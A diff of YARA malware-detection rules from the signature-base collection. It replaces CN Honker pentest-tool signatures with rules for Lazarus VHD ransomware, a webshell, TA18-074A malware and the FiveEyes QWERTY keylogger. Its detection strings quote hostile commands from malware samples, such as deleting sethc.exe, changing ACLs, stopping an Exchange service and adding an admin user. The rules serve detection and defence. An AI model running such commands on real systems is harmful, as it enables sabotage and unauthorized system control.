+		date = "2020-10-05"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1263-L1278"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "70b04b910d82b32b90cd7f355a0e3e17dd260cb3"
-		logic_hash = "558abb651ce410520811ca96aaad78710cb9bf597b59ed89d9a678377716d721"
-		score = 70
+		reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_vhd_ransomware.yar#L2-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "95c56c5111bb227da8f8a3f8aa4f23e1348bc76ff76a05fc3cae89f9fad1bb52"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6"
+		hash2 = "5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473"
+		hash3 = "6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306"
 
 	strings:
-		$s0 = "http://cn.bing.com/search?first=1&count=50&q=ip:" fullword wide
-		$s17 = "Team:www.t00ls.net" fullword ascii
+		$s1 = "HowToDecrypt.txt" wide fullword
+		$s2 = "rsa.cpp" wide fullword
+		$s3 = "sc stop \"Microsoft Exchange Compliance Service\"" ascii fullword
+		$op1 = { 8b 8d bc fc ff ff 8b 94 bd 34 03 00 00 33 c0 50 }
+		$op2 = { 8b 8d 98 f9 ff ff 8d 64 24 00 8b 39 3b bc 85 34 }
+		$op3 = { 8b 94 85 34 03 00 00 89 11 40 83 c1 04 3b 06 7c }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <330KB and all of them
+		uint16(0)==0x5a4d and filesize <400KB and 2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Gethashes : FILE
+rule SIGNATURE_BASE_APT_MAL_NK_Lazarus_VHD_Ransomware_Oct20_2 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
+		description = "Detects Lazarus VHD Ransomware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b1c5910d-0fb1-547e-92b7-5fcf183e38a6"
-		date = "2015-06-23"
+		id = "b75668de-93e6-57e7-90f0-fa335295be7c"
+		date = "2020-10-05"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1280-L1296"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dc8bcebf565ffffda0df24a77e28af681227b7fe"
-		logic_hash = "fb5ab5e6d8b522caf27478b0589b39d06b96fb0f913673ede768a814836e11f8"
-		score = 70
+		reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lazarus_vhd_ransomware.yar#L26-L43"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cf28771a854b3bacc911375c09f6c6bc6ddebff95612a509890c56a5a14e8921"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "097ca829e051a4877bca093cee340180ff5f13a9c266ad4141b0be82aae1a39b"
+		hash2 = "73a10be31832c9f1cbbd798590411009da0881592a90feb472e80025dfb0ea79"
 
 	strings:
-		$s0 = "SAM\\Domains\\Account\\Users\\Names registry hive reading error!" fullword ascii
-		$s1 = "GetHashes <SAM registry file> [System key file]" fullword ascii
-		$s2 = "Note: Windows registry file shall begin from 'regf' signature!" fullword ascii
+		$op1 = { f9 36 88 08 8d ad fc ff ff ff 66 ff c1 e9 72 86 }
+		$op2 = { c6 c4 58 0f a4 c8 12 8d ad ff ff ff ff 0f b6 44 }
+		$op3 = { 88 02 66 c1 f0 54 8d bf fc ff ff ff 0f ba e0 19 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <87KB and 2 of them
+		uint16(0)==0x5a4d and filesize <9000KB and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Hashq_Hashq : FILE
+rule SIGNATURE_BASE_WEBSHELL_Z_Webshell_2 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Hashq.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4f435edf-28bf-5195-bc22-0d2a7302b312"
-		date = "2015-06-23"
+		description = "Detection for the z_webshell"
+		author = "DHS NCCIC Hunt and Incident Response Team"
+		id = "9a54925f-de10-567f-a1ea-5e7522b47dfd"
+		date = "2018-01-25"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1298-L1314"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7518b647db5275e8a9e0bf4deda3d853cc9d5661"
-		logic_hash = "a71ad182f7dd33790e59badfba6149c6dea627858414f0a8f3e64fd3bb2e2a64"
-		score = 70
-		quality = 85
+		old_rule_name = "z_webshell"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta18_074A.yar#L9-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2c9095c965a55efc46e16b86f9b7d6c6"
+		logic_hash = "d41aa107e54af5d45531a46d24b24f9f14635dbcb50ed26f7c787883854f961f"
+		score = 75
+		quality = 81
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Hashq.exe" fullword wide
-		$s5 = "CnCert.Net" fullword wide
-		$s6 = "Md5 query tool" fullword wide
+		$webshell_name = "public string z_progname =" nocase ascii wide
+		$webshell_password = "public string Password =" nocase ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and all of them
+		( uint32(0)==0x2040253c or uint32(0)==0x7073613c) and filesize <100KB and 2 of ($webshell_*)
 }
-rule SIGNATURE_BASE_CN_Honker_Shiftbackdoor_Server : FILE
+rule SIGNATURE_BASE_TA18_074A_Screen : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Server.dat"
+		description = "Detects malware mentioned in TA18-074A"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c53f4015-ad2b-5898-88b5-34b3bc2c65b6"
-		date = "2015-06-23"
+		id = "789ee5e5-83c3-5137-a078-ff230dbf8fcd"
+		date = "2018-03-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1316-L1333"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b24d761c6bbf216792c4833890460e8b37d86b37"
-		logic_hash = "17f1d7f2345ed1bc9b240c4851f41891244ec9d13b296a24ab6b42cca32ddf87"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/alerts/TA18-074A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta18_074A.yar#L34-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e96f70e3d9c7ff5812724111788365c47e2b478a35b39771c12a3d3636a6a020"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
 
 	strings:
-		$s0 = "del /q /f %systemroot%system32sethc.exe" fullword ascii
-		$s1 = "cacls %s /t /c /e /r administrators" fullword ascii
-		$s2 = "\\dllcache\\sethc.exe" ascii
-		$s3 = "\\ntvdm.exe" ascii
+		$s1 = "screen.exe" fullword wide
+		$s2 = "PlatformInvokeUSER32" fullword ascii
+		$s3 = "GetDesktopImageF" fullword ascii
+		$s4 = "PlatformInvokeGDI32" fullword ascii
+		$s5 = "Too many arguments, going to store in current dir" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 2 of them
+		uint16(0)==0x5a4d and filesize <60KB and 3 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Exp_Win2003 : FILE
+rule SIGNATURE_BASE_TA18_074A_Scripts : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file win2003.exe"
+		description = "Detects malware mentioned in TA18-074A"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f64e14dd-714c-5a0f-923d-23a584fe605f"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1335-L1351"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "47164c8efe65d7d924753fadf6cdfb897a1c03db"
-		logic_hash = "d1616c53b26eefaa2578efb7defee182e8c88c869cfffb16c8767ddc1869ad46"
-		score = 70
+		id = "4c786098-c5f4-529b-8732-03183dfa94b5"
+		date = "2018-03-16"
+		modified = "2022-08-18"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA18-074A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta18_074A.yar#L53-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "888ddd59b388033604474fc008f830159a9a104683fb052e7497b83118cbb8aa"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
 
 	strings:
-		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii
-		$s2 = "The shell \"cmd\" success!" fullword ascii
-		$s4 = "Not Windows NT family OS." fullword ascii
+		$s1 = "Running -s cmd /c query user on " ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <600KB and 1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Interception3389_Setup : FILE
+rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwareqwerty_20121
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file setup.exe"
+		description = "FiveEyes QUERTY Malware - file 20121.xml"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7250ff73-6b08-56a4-b2bc-081060d1fa2d"
-		date = "2015-06-23"
+		id = "bf30bdbb-0153-5ae2-bf42-4bd9e4a2f088"
+		date = "2015-01-18"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1353-L1371"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f5b2f86f8e7cdc00aa1cb1b04bc3d278eb17bf5c"
-		logic_hash = "d3f543683810a985a190cc3ea8edb7bfcd316d56a13d45c6532c488a4536ad0a"
-		score = 70
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_querty_fiveeyes.yar#L3-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8263fb58350f3b1d3c4220a602421232d5e40726"
+		logic_hash = "e2660abf4959bc57bcf9d95d974cd20718d5d27f371109cb4526cee208544530"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\%s" fullword ascii
-		$s1 = "%s\\temp\\temp%d.bat" fullword ascii
-		$s5 = "EventStartShell" fullword ascii
-		$s6 = "del /f /q \"%s\"" fullword ascii
-		$s7 = "\\wminotify.dll" ascii
+		$s0 = "<configFileName>20121_cmdDef.xml</configFileName>" fullword ascii
+		$s1 = "<name>20121.dll</name>" fullword ascii
+		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<platform type=\"1\">" fullword ascii
+		$s5 = "</plugin>" fullword ascii
+		$s6 = "</pluginConfig>" fullword ascii
+		$s7 = "<pluginConfig>" fullword ascii
+		$s8 = "</platform>" fullword ascii
+		$s9 = "</lpConfig>" fullword ascii
+		$s10 = "<lpConfig>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and all of them
+		9 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Cncert_Ccdoor_CMD_2 : FILE
+rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20123_Sys
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll2"
+		description = "FiveEyes QUERTY Malware - file 20123.sys.bin"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2681a989-6504-5ac7-abc9-e6dad2a052c5"
-		date = "2015-06-23"
+		id = "0d0e3642-f5d4-59b2-8e56-a7c999e34775"
+		date = "2015-01-18"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1373-L1390"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7f3a6fb30845bf366e14fa21f7e05d71baa1215a"
-		logic_hash = "8f33f2999eae3f080e8e5ec51ced3e7d596a07b6e5c9830cc1ca552701ed6502"
-		score = 70
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_querty_fiveeyes.yar#L28-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a0f0087bd1f8234d5e847363d7e15be8a3e6f099"
+		logic_hash = "881af0e2ff8fad2bca2ae05ad63b5185356181685daafa7a1b9992a1de017c9e"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "cmd.dll" fullword wide
-		$s1 = "cmdpath" fullword ascii
-		$s2 = "Get4Bytes" fullword ascii
-		$s3 = "ExcuteCmd" fullword ascii
+		$s0 = "20123.dll" fullword ascii
+		$s1 = "kbdclass.sys" fullword wide
+		$s2 = "IoFreeMdl" fullword ascii
+		$s3 = "ntoskrnl.exe" fullword ascii
+		$s4 = "KfReleaseSpinLock" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <22KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Exp_Ms11046 : FILE
+rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20123_Cmddef
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ms11046.exe"
+		description = "FiveEyes QUERTY Malware - file 20123_cmdDef.xml"
 		author = "Florian Roth (Nextron Systems)"
-		id = "aafb45f4-3b42-5c8f-8c25-40fd01217e9d"
-		date = "2015-06-23"
+		id = "88a29288-9db5-5437-9efe-cdb823a2b928"
+		date = "2015-01-18"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1392-L1409"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
-		logic_hash = "0496e5c062c1a248b118c2f6009c95bfddf753e5491529d4ec43cfaf1ea0c0c5"
-		score = 70
-		quality = 85
-		tags = "FILE"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_querty_fiveeyes.yar#L47-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7b08fc77629f6caaf8cc4bb5f91be6b53e19a3cd"
+		logic_hash = "84776764caa79ad68f2dd0d2f890821c75f2efba7c46d674110ba870a40a372a"
+		score = 75
+		quality = 83
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "[*] Token system command" fullword ascii
-		$s1 = "[*] command add user 90sec 90sec" fullword ascii
-		$s2 = "[*] Add to Administrators success" fullword ascii
-		$s3 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii
+		$s0 = "<shortDescription>Keystroke Collector</shortDescription>" fullword ascii
+		$s1 = "This plugin is the E_Qwerty Kernel Mode driver for logging keys.</description>" fullword ascii
+		$s2 = "<commands/>" fullword ascii
+		$s3 = "</version>" fullword ascii
+		$s4 = "<associatedImplantId>20121</associatedImplantId>" fullword ascii
+		$s5 = "<rightsRequired>System or Administrator (if Administrator, I think the DriverIns" ascii
+		$s6 = "<platforms>Windows NT, Windows 2000, Windows XP (32/64 bit), Windows 2003 (32/64" ascii
+		$s7 = "<projectpath>plugin/Collection</projectpath>" fullword ascii
+		$s8 = "<dllDepend>None</dllDepend>" fullword ascii
+		$s9 = "<minorType>0</minorType>" fullword ascii
+		$s10 = "<pluginname>E_QwertyKM</pluginname>" fullword ascii
+		$s11 = "</comments>" fullword ascii
+		$s12 = "<comments>" fullword ascii
+		$s13 = "<majorType>1</majorType>" fullword ascii
+		$s14 = "<files>None</files>" fullword ascii
+		$s15 = "<poc>Erebus</poc>" fullword ascii
+		$s16 = "</plugin>" fullword ascii
+		$s17 = "<team>None</team>" fullword ascii
+		$s18 = "<?xml-stylesheet type=\"text/xsl\" href=\"../XSLT/pluginHTML.xsl\"?>" fullword ascii
+		$s19 = "<pluginsDepend>U_HookManager v1.0, Kernel Covert Store v1.0</pluginsDepend>" fullword ascii
+		$s20 = "<plugin id=\"20123\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		14 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Master_Beta_1_7 : FILE
+rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20121_Dll
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Master_beta_1.7.exe"
+		description = "FiveEyes QUERTY Malware - file 20121.dll.bin"
 		author = "Florian Roth (Nextron Systems)"
-		id = "78f904ec-f7cb-5fd0-a117-925ebedd1d3e"
-		date = "2015-06-23"
+		id = "a0dc146c-85fd-55b8-a5e0-bfc1f406507e"
+		date = "2015-01-18"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1411-L1426"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3be7a370791f29be89acccf3f2608fd165e8059e"
-		logic_hash = "13c9cc0bf8aaed2ba86baeee6f0b32bf71108dc1350dcffd03e70393fa975c9f"
-		score = 70
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_querty_fiveeyes.yar#L82-L96"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "89504d91c5539a366e153894c1bc17277116342b"
+		logic_hash = "e735a7c26652cbf2bccac80a14568a3582b254ae25e2db56a46c09a714650611"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "http://seo.chinaz.com/?host=" fullword ascii
-		$s2 = "Location: getpass.asp?info=" fullword ascii
+		$s0 = "WarriorPride\\production2.0\\package\\E_Wzowski" ascii
+		$s1 = "20121.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <312KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_F4Ck_Team_F4Ck_2 : FILE
+rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwareqwerty_20123
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file f4ck_2.exe"
+		description = "FiveEyes QUERTY Malware - file 20123.xml"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b2a9067f-57d0-5b32-87c8-3b635c3944a5"
-		date = "2015-06-23"
+		id = "718d80c9-b6bb-5b73-9c17-49e7d6f77210"
+		date = "2015-01-18"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1428-L1446"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0783661077312753802bd64bf5d35c4666ad0a82"
-		logic_hash = "85c73d480019929eef5951b0395f49cea86dc83b334860e940cc6e36c2d96d3a"
-		score = 70
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_querty_fiveeyes.yar#L97-L121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "edc7228b2e27df9e7ff9286bddbf4e46adb51ed9"
+		logic_hash = "918462399af78b16a8214ceb1d39db554e3136efd4bc643353f0727e4a162516"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "F4ck.exe" fullword wide
-		$s2 = "@Netapi32.dll" fullword ascii
-		$s3 = "Team.F4ck.Net" fullword wide
-		$s8 = "Administrators" fullword ascii
-		$s9 = "F4ck Team" fullword wide
+		$s0 = "<!-- edited with XMLSPY v5 rel. 4 U (http://www.xmlspy.com) by TEAM (RENEGADE) -" ascii
+		$s1 = "<configFileName>20123_cmdDef.xml</configFileName>" fullword ascii
+		$s2 = "<name>20123.sys</name>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<codebase>/bin/i686-pc-win32/debug</codebase>" fullword ascii
+		$s5 = "<platform type=\"1\">" fullword ascii
+		$s6 = "</plugin>" fullword ascii
+		$s7 = "</pluginConfig>" fullword ascii
+		$s8 = "<pluginConfig>" fullword ascii
+		$s9 = "</platform>" fullword ascii
+		$s10 = "</lpConfig>" fullword ascii
+		$s11 = "<lpConfig>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <220KB and 2 of them
+		9 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Sig_3389_80_Antifw : FILE
+rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20120_Dll
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file AntiFW.exe"
+		description = "FiveEyes QUERTY Malware - file 20120.dll.bin"
 		author = "Florian Roth (Nextron Systems)"
-		id = "761bed41-e8e6-585b-8fde-a6b6a56445d6"
-		date = "2015-06-23"
+		id = "d23ac7bf-3e0c-5b59-a9dc-1ae0a4ae9c02"
+		date = "2015-01-18"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1448-L1466"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5fbc75900e48f83d0e3592ea9fa4b70da72ccaa3"
-		logic_hash = "5e940406b713458ae7168d4e140f15a262b7f0834d29db9c88f1f04bedb41e43"
-		score = 70
-		quality = 85
-		tags = "FILE"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_querty_fiveeyes.yar#L123-L156"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6811bfa3b8cda5147440918f83c40237183dbd25"
+		logic_hash = "fc3aac33c84d3b4a981c2d1a9358c54dc5ceca2017dbf2e2a51e1b6970b90796"
+		score = 75
+		quality = 83
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Set TS to port:80 Successfully!" fullword ascii
-		$s2 = "Now,set TS to port 80" fullword ascii
-		$s3 = "echo. >>amethyst.reg" fullword ascii
-		$s4 = "del amethyst.reg" fullword ascii
-		$s5 = "AntiFW.cpp" fullword ascii
+		$s0 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.txt" wide
+		$s1 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.xml" wide
+		$s2 = "Failed to send the EQwerty_driverStatusCommand to the implant." fullword ascii
+		$s3 = "- Log Used (number of windows) - %d" fullword wide
+		$s4 = "- Log Limit (number of windows) - %d" fullword wide
+		$s5 = "Process or User Default Language" fullword wide
+		$s6 = "Windows 98/Me, Windows NT 4.0 and later: Vietnamese" fullword wide
+		$s7 = "- Logging of keystrokes is switched ON" fullword wide
+		$s8 = "- Logging of keystrokes is switched OFF" fullword wide
+		$s9 = "Qwerty is currently logging active windows with titles containing the fo" wide
+		$s10 = "Windows 95, Windows NT 4.0 only: Korean (Johab)" fullword wide
+		$s11 = "FAILED to get Qwerty Status" fullword wide
+		$s12 = "- Successfully retrieved Log from Implant." fullword wide
+		$s13 = "- Logging of all Windows is toggled ON" fullword wide
+		$s14 = "- Logging of all Windows is toggled OFF" fullword wide
+		$s15 = "Qwerty FAILED to retrieve window list." fullword wide
+		$s16 = "- UNSUCCESSFUL Log Retrieval from Implant." fullword wide
+		$s17 = "The implant failed to return a valid status" fullword ascii
+		$s18 = "- Log files were NOT generated!" fullword wide
+		$s19 = "Windows 2000/XP: Armenian. This is Unicode only." fullword wide
+		$s20 = "- This machine is using a PS/2 Keyboard - Continue on using QWERTY" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and 2 of them
+		10 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Wwwscan_Gui : FILE
+rule SIGNATURE_BASE_Fiveeyes_QUERTY_Malwaresig_20120_Cmddef
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file wwwscan_gui.exe"
+		description = "FiveEyes QUERTY Malware - file 20120_cmdDef.xml"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fffed806-4394-505a-96bd-50bf6f24aefc"
-		date = "2015-06-23"
+		id = "dfa0693e-4e4c-59c8-9e51-e221aefd8662"
+		date = "2015-01-18"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1468-L1483"
